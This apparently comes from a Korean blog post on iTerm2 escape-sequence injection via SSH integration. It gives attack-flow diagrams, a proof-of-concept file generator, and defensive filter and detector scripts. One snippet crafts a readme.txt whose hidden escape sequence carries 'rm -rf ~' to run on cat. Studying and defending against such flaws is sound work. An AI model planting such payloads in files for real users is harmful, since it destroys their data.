1
2
3

# 터미널에서 실행해보면 이해가 쉽다
echo -e "\033[31m빨간 텍스트\033[0m"
echo -e "\033]0;새로운 창 제목\007"

1
2
3
4
5
6
7

graph LR
    A[원격 서버] --> B[SSH 연결]
    B --> C[iTerm2 터미널]
    C --> D{Escape Sequence 해석}
    D --> E[일반 텍스트 출력]
    D --> F[Conductor 프로토콜 처리]
    F --> G[로컬 시스템 명령 실행]

1
2
3
4
5
6
7
8

# 공격자가 준비한 악성 파일 (readme.txt)
# 실제로는 escape sequence가 포함되어 있음
malicious_content=$(printf '\033]1337;ShellIntegration=backslash\007')
malicious_content+=$(printf '\033]1337;ExecCommand=rm -rf ~\007')
echo "$malicious_content" > readme.txt

# 피해자가 실행하는 명령
cat readme.txt

1
2
3
4
5
6
7

graph TD
    A[사용자] --> B[SSH 연결 시도]
    B --> C{중간자 공격}
    C --> D[정상 서버]
    C --> E[공격자 서버]
    E --> F[악성 Escape Sequence 주입]
    F --> G[iTerm2에서 명령 실행]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

#!/usr/bin/env python3
"""
PoC: iTerm2 SSH Integration Escape Sequence Injection
학습 및 방어 목적으로만 사용하세요.
"""

import sys

def generate_malicious_file(filename="readme.txt"):
    """
    iTerm2 Conductor 프로토콜을 악용하는
    가짜 escape sequence가 포함된 파일 생성
    """
    
    # 일반 텍스트로 위장한 내용
    normal_text = """
    프로젝트 README
    ===============
    
    이 프로젝트는 테스트 목적으로 작성되었습니다.
    설치 방법:
        1. 저장소를 클론합니다
        2. requirements.txt를 설치합니다
        3. main.py를 실행합니다
    
    주의: 이 파일은 보안 테스트용입니다.
    """
    
    # iTerm2가 해석할 수 있는 escape sequence
    # 실제 공격에서는 더 복잡한 명령이 사용됨
    # 이 예시에서는 무해한 명령만 포함
    escape_injection = (
        "\033]1337;SetUserVar=test_value\007"  # 변수 설정 (무해함)
    )
    
    # 두 번째 escape sequence: 경고 메시지 표시
    alert_sequence = (
        "\033]1337;Alert=Escape_Sequence_Detected\007"
    )
    
    # 파일에 결합하여 저장
    malicious_content = escape_injection + normal_text + alert_sequence
    
    with open(filename, 'w', encoding='utf-8') as f:
        f.write(malicious_content)
    
    print(f"[*] 파일 생성 완료: {filename}")
    print(f"[*] 파일 크기: {len(malicious_content)} bytes")
    print("[!] 주의: 이 파일을 iTerm2에서 cat하지 마세요")

if __name__ == "__main__":
    generate_malicious_file()

1
2
3
4
5
6

# iTerm2 설정에서 SSH Integration 활성화 여부 확인
defaults read com.googlecode.iterm2 | grep -i "shell\|integration"

# 현재 사용 중인 셸 프로파일 확인
echo $TERM_PROGRAM
echo $ITERM_SESSION_ID

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

#!/bin/bash
# safe_cat.sh: 의심스러운 escape sequence를 필터링하는 래퍼 스크립트

safe_cat() {
    local file="$1"
    
    # 파일이 존재하는지 확인
    if [ ! -f "$file" ]; then
        echo "파일을 찾을 수 없습니다: $file"
        return 1
    fi
    
    # ESC 시퀀스 제거 (기본적인 필터링)
    # iTerm2 특정 시퀀스(1337)와 일반 CSI 시퀀스 제거
    sed 's/\x1b\[[0-9;]*[a-zA-Z]//g' "$file" | \
    sed 's/\x1b\]1337[^]*\x07//g' | \
    sed 's/\x1b\]1337[^\x1b]*\x1b\/g'
}

# 사용법
safe_cat "$1"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# ~/.bashrc 또는 ~/.zshrc에 추가할 설정

# 신뢰할 수 없는 파일을 위한 안전한 출력 함수
safe_view() {
    # 16진수 덤프로 내용 확인 (escape sequence 무력화)
    hexdump -C "$1" | less
    
    # 또는 cat -v 사용 (제어 문자를 표시형태로 변환)
    # cat -v "$1"
}

# alias 설정
alias scat='cat -v'  # 제어 문자 표시
alias xxd='hexdump -C'  # 16진수 덤프

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

#!/usr/bin/env python3
"""
escape_sequence_detector.py
파일 내 의심스러운 escape sequence를 탐지하는 스크립트
"""

import re
import sys

SUSPICIOUS_PATTERNS = [
    rb'\x1b\]1337;',  # iTerm2 특정 시퀀스
    rb'\x1b\[',        # CSI 시퀀스
    rb'\x1b\]',        # OSC 시퀀스
    rb'\x07',          # BEL 문자 (시퀀스 종료)
]

def detect_escape_sequences(filename):
    """파일 내 의심스러운 escape sequence를 탐지"""
    
    alerts = []
    
    with open(filename, 'rb') as f:
        content = f.read()
    
    for pattern in SUSPICIOUS_PATTERNS:
        matches = list(re.finditer(pattern, content))
        if matches:
            alerts.append({
                'pattern': pattern,
                'count': len(matches),
                'positions': [m.start() for m in matches[:5]]
            })
    
    return alerts

def main():
    if len(sys.argv) != 2:
        print("사용법: python3 escape_detector.py <파일경로>")
        sys.exit(1)
    
    filename = sys.argv[1]
    alerts = detect_escape_sequences(filename)
    
    if alerts:
        print(f"[!] 경고: {filename}에 의심스러운 시퀀스가 탐지됨")
        for alert in alerts:
            print(f"    패턴: {alert['pattern']}")
            print(f"    횟수: {alert['count']}")
            print(f"    위치: {alert['positions']}")
    else:
        print(f"[+] {filename}은 비교적 안전해 보임")

if __name__ == "__main__":
    main()